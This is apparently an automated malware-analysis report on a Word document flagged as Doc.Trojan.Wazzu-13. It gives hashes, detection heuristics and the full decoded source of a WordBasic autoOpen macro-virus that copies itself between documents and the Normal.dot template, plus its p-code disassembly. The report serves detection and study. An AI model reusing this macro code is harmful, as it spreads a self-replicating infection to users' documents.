Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9a5cc54ffa473bff…

MALICIOUS

Office (OLE)

33.5 KB Created: 2001-04-24 09:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c76eecd24158b926d5d87ab63becac6b SHA-1: 569d3c2027e9cc23cca9747765bc9e4c1712f48c SHA-256: 9a5cc54ffa473bff564067d3df07135a354e2d5c9b832f70551519d9a498c9d9
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains a legacy WordBasic autoOpen macro that attempts to copy itself to the Normal.dot template. This is a common technique for establishing persistence. The ClamAV detection 'Doc.Trojan.Wazzu-13' further supports the malicious nature of the file, though the specific family could not be determined.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-13 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-13
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4106 bytes
SHA-256: 9a2108bda2c367bd9d5536ae3a37f3c69939e6d147bcd50d1ee9318d866236b9
Detection
ClamAV: Doc.Trojan.Wazzu-13
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"

Public Sub MAIN()
a$ = "autoOpen"
b$ = ":" + a$
gl$ = "Global"
c$ = gl$ + ":" + a$
d$ = "NORMAL" + "." + "DOT"
Dim TheSmallOne$
Dim TheBigOne$
Dim ThisOne$
Dim SmallFileAtt
    On Error GoTo -1: On Error GoTo jane
    
    TheSmallOne$ = WordBasic.[FileName$]() + b$

    TheBigOne$ = c$
    ThisOne$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))

    If ThisOne$ = d$ Then
        SmallFileAtt = GetAttr(WordBasic.[FileName$]())
        If SmallFileAtt >= 32 Then SmallFileAtt = SmallFileAtt - 32
        If SmallFileAtt >= 4 Then SmallFileAtt = SmallFileAtt - 4
        If SmallFileAtt >= 2 Then SmallFileAtt = SmallFileAtt - 2
        If SmallFileAtt = 0 Then
        
            WordBasic.MacroCopy TheBigOne$, TheSmallOne$
            WordBasic.FileSaveAs Format:=1
            WordBasic.SetDocumentDirty 0
        End If
    Else
        WordBasic.MacroCopy TheSmallOne$, TheBigOne$
    End If
    
GoTo oughta_here

jane:

oughta_here:
    On Error GoTo -1: On Error GoTo 0


End Sub

' Processing file: /opt/analyzer/scan_staging/b2043e9735a44307a29f26e7f30632e5.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/autoOpen - 2374 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	LitStr 0x0008 "autoOpen"
' 	St a$ 
' Line #3:
' 	LitStr 0x0001 ":"
' 	Ld a$ 
' 	Add 
' 	St B$ 
' Line #4:
' 	LitStr 0x0006 "Global"
' 	St gl$ 
' Line #5:
' 	Ld gl$ 
' 	LitStr 0x0001 ":"
' 	Add 
' 	Ld a$ 
' 	Add 
' 	St c$ 
' Line #6:
' 	LitStr 0x0006 "NORMAL"
' 	LitStr 0x0001 "."
' 	Add 
' 	LitStr 0x0003 "DOT"
' 	Add 
' 	St d$ 
' Line #7:
' 	Dim 
' 	VarDefn TheSmallOne
' Line #8:
' 	Dim 
' 	VarDefn TheBigOne
' Line #9:
' 	Dim 
' 	VarDefn ThisOne
' Line #10:
' 	Dim 
' 	VarDefn SmallFileAtt
' Line #11:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError jane 
' Line #12:
' Line #13:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	Ld B$ 
' 	Add 
' 	St TheSmallOne$ 
' Line #14:
' Line #15:
' 	Ld c$ 
' 	St TheBigOne$ 
' Line #16:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroFileName$] 0x0001 
' 	LitDI2 0x000A 
' 	Ld WordBasic 
' 	ArgsMemLd [Right$] 0x0002 
' 	ArgsLd UCase 0x0001 
' 	St ThisOne$ 
' Line #17:
' Line #18:
' 	Ld ThisOne$ 
' 	Ld d$ 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	ArgsLd GetAttr 0x0001 
' 	St SmallFileAtt 
' Line #20:
' 	Ld SmallFileAtt 
' 	LitDI2 0x0020 
' 	Ge 
' 	If 
' 	BoSImplicit 
' 	Ld SmallFileAtt 
' 	LitDI2 0x0020 
' 	Sub 
' 	St SmallFileAtt 
' 	EndIf 
' Line #21:
' 	Ld SmallFileAtt 
' 	LitDI2 0x0004 
' 	Ge 
' 	If 
' 	BoSImplicit 
' 	Ld SmallFileAtt 
' 	LitDI2 0x0004 
' 	Sub 
' 	St SmallFileAtt 
' 	EndIf 
' Line #22:
' 	Ld SmallFileAtt 
' 	LitDI2 0x0002 
' 	Ge 
' 	If 
' 	BoSImplicit 
' 	Ld SmallFileAtt 
' 	LitDI2 0x0002 
' 	Sub 
' 	St SmallFileAtt 
' 	EndIf 
' Line #23:
' 	Ld SmallFileAtt 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #24:
' Line #25:
' 	Ld TheBigOne$ 
' 	Ld TheSmallOne$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #26:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #27:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall SetDocumentDirty 0x0001 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	ElseBlock 
' Line #30:
' 	Ld TheSmallOne$ 
' 	Ld TheBigOne$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #31:
' 	EndIfBlock 
' Line #32:
' Line #33:
' 	GoTo oughta_here 
' Line #34:
' Line #35:
' 	Label jane 
' Line #36:
' Line #37:
' 	Label oughta_here 
' Line #38:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError (GoTo 0) 
' Line #39:
' Line #40:
' Line #41:
' 
... (truncated)

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